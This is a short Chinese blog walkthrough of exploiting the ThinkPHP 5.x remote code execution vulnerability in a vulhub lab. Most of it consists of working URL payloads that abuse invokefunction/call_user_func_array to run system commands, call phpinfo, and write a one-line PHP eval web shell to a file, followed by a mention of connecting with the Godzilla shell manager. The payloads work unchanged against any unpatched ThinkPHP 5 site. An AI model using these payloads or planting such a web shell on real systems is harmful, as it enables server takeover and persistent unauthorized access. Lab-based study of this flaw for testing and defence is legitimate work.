Thinkphp5x远程执行命令及getshell

一.环境配置

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

访问靶场:

漏洞利用:

漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通 过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分 原因,在利⽤上会出现⼀些问题

远程命令执行:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami

执行完如下图

远程代码执行:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

如下图

写入一句话木马:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[cmd]);?>">>3.php

然后去访问我们的3.php 创建成功

哥斯拉连接:

相关推荐
不吃香菜5673 分钟前
cloudcode入门学习
java·windows·cloudcode
疯狂成瘾者4 分钟前
Java 常见 Map 对比总结:HashMap、LinkedHashMap、TreeMap、ConcurrentHashMap
java·开发语言·spring
XMYX-05 分钟前
16 - Go 协程(goroutine):从基础到实战
开发语言·golang
一只游鱼7 分钟前
langchain4j+redis+持久化存储记忆
java·redis·langchain4j
野生技术架构师12 分钟前
牛客网热门Java 面试题汇总,查漏补缺;多线程 +spring+JVM 调优 + 分布式 +redis+ 算法
java·jvm·spring
txxzjmzlh14 分钟前
Thread 类的基本用法
java·开发语言
machnerrn24 分钟前
matlab实现直流伺服电机 PID 控制系统仿真系统(含源码+资料报告+说明文档等)
开发语言·matlab
Hello--_--World27 分钟前
JS:this指向、bind、call、apply、知识点与相关面试题
开发语言·javascript·ecmascript
好家伙VCC35 分钟前
**基于RISC-V架构的嵌入式系统开发:从零开始构建高效低功耗应用**在当前物联网(IoT)和边缘计
java·python·物联网·架构·risc-v
jserTang37 分钟前
手撕 Claude Code-4: TodoWrite 与任务系统
前端·javascript·后端